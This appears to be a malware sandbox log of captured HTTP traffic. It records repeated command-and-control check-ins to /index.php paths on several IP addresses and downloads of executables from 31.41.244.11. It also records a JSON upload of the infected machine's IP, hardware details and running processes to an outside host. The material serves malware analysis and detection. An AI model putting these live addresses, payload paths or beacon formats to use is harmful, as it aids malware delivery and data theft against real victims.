Source: global traffic	HTTP traffic detected: POST /Fru7Nk9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.209Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 35 45 32 41 43 36 31 37 42 35 30 44 37 39 46 41 42 31 35 30 42 45 39 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 44 35 46 33 30 46 38 45 30 34 42 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 45 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6255E2AC617B50D79FAB150BE92BB81278509C05BEA3669A52777FA6135D5F30F8E04B2A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0E
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 65 31 3d 31 30 32 30 38 32 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e1=1020826001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET /files/5195048147/mdjw5me.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
Source: global traffic	HTTP traffic detected: POST /Fru7Nk9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.209Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Fru7Nk9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.209Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 35 45 32 41 43 36 31 37 42 35 30 44 37 39 46 41 42 31 35 30 42 45 39 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 44 35 46 33 30 46 38 45 30 34 42 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 45 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6255E2AC617B50D79FAB150BE92BB81278509C05BEA3669A52777FA6135D5F30F8E04B2A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0E
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 32 30 39 33 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1020934001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Fru7Nk9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.209Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET /files/Krokodyl02/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Fru7Nk9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.209Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 35 45 32 41 43 36 31 37 42 35 30 44 37 39 46 41 42 31 35 30 42 45 39 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 44 35 46 33 30 46 38 45 30 34 42 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 45 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6255E2AC617B50D79FAB150BE92BB81278509C05BEA3669A52777FA6135D5F30F8E04B2A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0E
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
Source: global traffic	HTTP traffic detected: POST /Fru7Nk9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.209Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 32 31 31 31 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1021118001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Fru7Nk9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.209Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 35 45 32 41 43 36 31 37 42 35 30 44 37 39 46 41 42 31 35 30 42 45 39 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 44 35 46 33 30 46 38 45 30 34 42 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 45 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6255E2AC617B50D79FAB150BE92BB81278509C05BEA3669A52777FA6135D5F30F8E04B2A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0E
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
Source: global traffic	HTTP traffic detected: GET /files/fate/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
Source: global traffic	HTTP traffic detected: POST /Fru7Nk9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.209Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Fru7Nk9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.209Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 35 45 32 41 43 36 31 37 42 35 30 44 37 39 46 41 42 31 35 30 42 45 39 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 44 35 46 33 30 46 38 45 30 34 42 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 45 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6255E2AC617B50D79FAB150BE92BB81278509C05BEA3669A52777FA6135D5F30F8E04B2A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0E
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 32 31 31 31 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1021119001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/london/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
Source: global traffic	HTTP traffic detected: POST /Fru7Nk9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.209Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /TQIuuaqjNpwYjtUvFojm1734579850 HTTP/1.1Host: home.twentytk20ht.topAccept: /Content-Type: application/jsonContent-Length: 565269Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 39 37 30 36 36 31 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 35 30 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 31 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 34 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 37 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 38 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 33 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 37 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 2
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
Source: global traffic	HTTP traffic detected: POST /Fru7Nk9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.209Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 35 45 32 41 43 36 31 37 42 35 30 44 37 39 46 41 42 31 35 30 42 45 39 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 44 35 46 33 30 46 38 45 30 34 42 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 45 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6255E2AC617B50D79FAB150BE92BB81278509C05BEA3669A52777FA6135D5F30F8E04B2A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0E
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
